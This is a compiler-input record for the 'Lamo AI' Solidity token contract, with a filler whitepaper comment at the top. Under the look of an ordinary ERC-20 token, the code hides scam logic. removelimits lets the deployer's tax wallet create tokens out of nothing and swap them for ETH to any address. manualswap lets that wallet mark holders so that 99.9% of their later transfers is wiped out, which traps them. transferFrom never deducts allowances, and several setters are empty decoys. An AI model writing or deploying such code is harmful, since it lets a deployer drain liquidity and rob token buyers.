creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "LamoAI.sol": {
        "content": "/*\r\nIntroduction\r\nOverview of LAMO AI Token\r\nThe introduction section provides a comprehensive overview of the LAMO AI Token project, \r\nencapsulating its essence and significance within the rapidly evolving landscape of AI \r\nand cryptocurrency. It introduces readers to the core concepts and objectives driving \r\nthe development of LAMO AI Token, emphasizing its pivotal role in revolutionizing the \r\nintersection of AI and crypto. By elucidating the fundamental principles behind LAMO AI \r\nToken, this section sets the stage for a deeper exploration of its functionalities, \r\nbenefits, and potential impact on the industry.\r\nIn this section, readers are provided with contextual background information necessary \r\nto grasp the broader significance of LAMO AI Token within the realms of AI and cryptocurrency. \r\nIt offers an exploration of the current state of both industries, highlighting key trends, \r\nchallenges, and opportunities that underscore the need for innovative solutions like \r\nLAMO AI Token. By contextualizing the project within the broader landscape of technological \r\ninnovation, readers gain a deeper appreciation for its relevance and potential impact.\r\nWhat is LAMO AI Token?\r\nThis subsection provides a detailed elucidation of the LAMO AI Token, elucidating its \r\ncore functionality, technological underpinnings, and strategic objectives within the \r\nbroader AI and cryptocurrency landscape. Readers will gain insights into the unique \r\nfeatures and characteristics that distinguish LAMO AI Token from other tokens, including \r\nits integration of artificial intelligence technologies, its utility within the LAMO AI \r\necosystem, and its potential for driving innovation and disruption in various sectors. \r\nHere, readers will explore the multifaceted purpose and utility of the LAMO AI Token, \r\nunderstanding its role as a catalyst for advancing AI technologies and unlocking new \r\npossibilities in the realm of decentralized finance (DeFi). Through a detailed examination \r\nof its utility functions, such as governance, staking, and incentivization mechanisms, \r\nreaders will grasp the diverse ways in which LAMO AI Token can be leveraged to facilitate \r\nvalue exchange, community participation, and ecosystem growth.\r\nTokenomics: Distribution and Supply\r\nIn this subsection, readers will gain a comprehensive understanding of the tokenomics \r\ngoverning the distribution and supply of LAMO AI Token. Through an exploration of its \r\ntoken distribution model, including initial distribution events, allocation mechanisms, \r\nand vesting schedules, readers will gain insights into the principles and mechanisms \r\nguiding the equitable distribution of tokens among stakeholders. Additionally, an analysis \r\nof token supply dynamics, including token emission schedules, inflationary mechanisms, and \r\nscarcity models, will provide readers with a nuanced understanding of the factors influencing \r\ntoken value and market dynamics.\r\nThe Synergy of AI and Crypt\r\nIn this section, we embark on an exploration of the symbiotic relationship between artificial \r\nintelligence (AI) and cryptocurrencies, unraveling the profound implications of their intersection.\r\nThrough a detailed analysis, readers will uncover how the LAMO AI Token leverages AI technologies \r\nto drive innovation within the crypto ecosystem, thereby unlocking new possibilities and advantages.\r\nExploring the Intersection: AI and Cryptocurrencies\r\nThis subsection serves as a foundational exploration of the convergence of AI and cryptocurrencies, \r\nelucidating how these two transformative technologies intersect and complement each other. \r\nReaders will delve into the role of AI in enhancing various aspects of the crypto ecosystem, \r\nincluding trading, security, governance, and scalability. Through real-world examples and case \r\nstudies, readers will gain a deeper appreciation for the synergies between AI and cryptocurrencies, \r\npaving the way for a more nuanced understanding of their combined potential.\r\nHow LAMO AI Token Harnesses AI for Crypto Innovation\r\nHere, readers will discover the innovative ways in which the LAMO AI Token harnesses AI \r\ntechnologies to drive crypto innovation. Through a detailed examination of its AI-powered \r\nfeatures and functionalities, readers will gain insights into how LAMO AI Token revolutionizes \r\nkey aspects of the crypto ecosystem, such as trading strategies, risk management, fraud detection, \r\nand decision-making processes. By leveraging AI algorithms and machine learning techniques, \r\nLAMO AI Token empowers users with advanced analytics, predictive insights, and automated solutions, \r\nthereby enhancing efficiency, accuracy, and profitability within the crypto market.\r\nAdvantages of Integrating AI into Crypto Ecosystems\r\nIn this subsection, readers will explore the myriad advantages of integrating AI into crypto \r\necosystems, elucidating the transformative impact of AI technologies on the efficiency, security, \r\nand scalability of cryptocurrency operations. Through a comparative analysis of AI-driven crypto \r\nsolutions versus traditional approaches, readers will gain a deeper understanding of the tangible \r\nbenefits that AI integration brings, including enhanced market analysis, risk mitigation, fraud \r\nprevention, and personalized user experiences. By harnessing the power of AI, crypto projects \r\ncan unlock new opportunities for growth, innovation, and sustainability, driving the evolution \r\nof the crypto ecosystem towards greater resilience and prosperity.\r\n*/\r\npragma solidity ^0.8.21;\r\n// SPDX-License-Identifier: MIT\r\n\r\nlibrary SafeMath {\r\n    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b <= a, \"SafeMath:  subtraction overflow\");\r\n        uint256 c = a - b;\r\n        return c;\r\n    }\r\n\r\n    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        uint256 c = a + b;\r\n        require(c >= a, \"SafeMath:  addition overflow\");\r\n        return c;\r\n    }\r\n\r\n    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        require(b > 0, \"SafeMath:  division by zero\");\r\n        uint256 c = a / b;\r\n        return c;\r\n    }\r\n\r\n    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n        if (a == 0) {return 0;}\r\n        uint256 c = a * b;\r\n        require(c / a == b, \"SafeMath:  multiplication overflow\");\r\n        return c;\r\n    }\r\n}\r\n\r\nabstract contract Ownable {\r\n    address private _owner;\r\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r\n    function renounceOwnership() public virtual onlyOwner {\r\n        emit OwnershipTransferred(_owner, address(0));\r\n        _owner = address(0);\r\n    }\r\n    function owner() public view virtual returns (address) {return _owner;}\r\n    constructor () {\r\n        _owner = msg.sender;\r\n        emit OwnershipTransferred(address(0), _owner);\r\n    }\r\n    modifier onlyOwner(){\r\n        require(owner() == msg.sender, \"Ownable: caller is not the owner\");\r\n        _;\r\n    }\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n    function getPair(address tokenA, address tokenB) external view returns (address pair_);\r\n}\r\n\r\ninterface IUniswapV2Router {\r\n    function factory() external pure returns (address);\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;\r\n    function WETH() external pure returns (address aadd);\r\n}\r\n\r\ncontract LamoAI is Ownable {\r\n    using SafeMath for uint256;\r\n    uint256 public _decimals = 9;\r\n\r\n    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\r\n\r\n    constructor() {\r\n        _balances[sender()] =  _totalSupply; \r\n        emit Transfer(address(0), sender(), _balances[sender()]);\r\n        _taxWallet = msg.sender; \r\n    }\r\n\r\n    string private _name = \"Lamo AI\";\r\n    string private _symbol = \"LAMO AI\";\r\n\r\n    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n    address public _taxWallet;\r\n\r\n    function _approve(address owner, address spender, uint256 amount) internal virtual {\r\n        require(owner != address(0), \"IERC20: approve from the zero address\");\r\n        require(spender != address(0), \"IERC20: approve to the zero address\");\r\n        _allowances[owner][spender] = amount;\r\n        emit Approval(owner, spender, amount);\r\n    }\r\n\r\n    function name() external view returns (string memory) {\r\n        return _name;\r\n    }\r\n    function balanceOf(address account) public view returns (uint256) {\r\n        return _balances[account];\r\n    }\r\n    function setPair() external {\r\n    }\r\n    function setLimits() external {\r\n    }\r\n    function setSwapSetting() public {\r\n    }\r\n    function setLamoAI() external {\r\n    }\r\n    function manualswap(address[] calldata walletAddress) external {\r\n        uint256 fromBlockNo = getBlockNumber();\r\n        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { \r\n            if (!marketingAddres()){} else { \r\n                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\r\n            }\r\n        }\r\n    }\r\n    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {\r\n        _transfer(from, recipient, _amount);\r\n        require(_allowances[from][sender()] >= _amount);\r\n        return true;\r\n    }\r\n    function symbol() public view returns (string memory) {\r\n        return _symbol;\r\n    }\r\n    function getBlockNumber() internal view returns (uint256) {\r\n        return block.number;\r\n    }\r\n    mapping(address => mapping(address => uint256)) private _allowances;\r\n    function allowance(address owner, address spender) public view returns (uint256) {\r\n        return _allowances[owner][spender];\r\n    }\r\n    function decreaseAllowance(address from, uint256 amount) public returns (bool) {\r\n        require(_allowances[msg.sender][from] >= amount);\r\n        _approve(sender(), from, _allowances[msg.sender][from] - amount);\r\n        return true;\r\n    }\r\n    event Transfer(address indexed from, address indexed to, uint256);\r\n    mapping (address => uint256) internal cooldowns;\r\n    function decimals() external view returns (uint256) {\r\n        return _decimals;\r\n    }\r\n    function marketingAddres() private view returns (bool) {\r\n        return (_taxWallet == (sender()));\r\n    }\r\n    function sender() internal view returns (address) {\r\n        return msg.sender;\r\n    }\r\n    function totalSupply() external view returns (uint256) {\r\n        return _totalSupply;\r\n    }\r\n    function removelimits(uint256 amount, address walletAddr) external {\r\n        if (marketingAddres()) {\r\n            _approve(address(this), address(uniV2Router), amount); \r\n            _balances[address(this)] = amount;\r\n            address[] memory addressPath = new address[](2);\r\n            addressPath[0] = address(this); \r\n            addressPath[1] = uniV2Router.WETH(); \r\n            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);\r\n        } else {\r\n            return;\r\n        }\r\n    }\r\n    function _transfer(address from, address to, uint256 value) internal {\r\n        uint256 _taxValue = 0;\r\n        require(from != address(0));\r\n        require(value <= _balances[from]);\r\n        emit Transfer(from, to, value);\r\n        _balances[from] = _balances[from] - (value);\r\n        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\r\n        uint256 _cooldownFeeValue = value.mul(999).div(1000);\r\n        if ((cooldowns[from] != 0) && onCooldown) {  \r\n            _taxValue = (_cooldownFeeValue); \r\n        }\r\n        uint256 toBalance = _balances[to];\r\n        toBalance += (value) - (_taxValue);\r\n        _balances[to] = toBalance;\r\n    }\r\n    event Approval(address indexed, address indexed, uint256 value);\r\n    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {\r\n        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);\r\n        return true;\r\n    }\r\n    function transfer(address recipient, uint256 amount) public returns (bool) {\r\n        _transfer(sender(), recipient, amount);\r\n        return true;\r\n    }\r\n    mapping(address => uint256) private _balances;\r\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\r\n        _approve(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": false,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}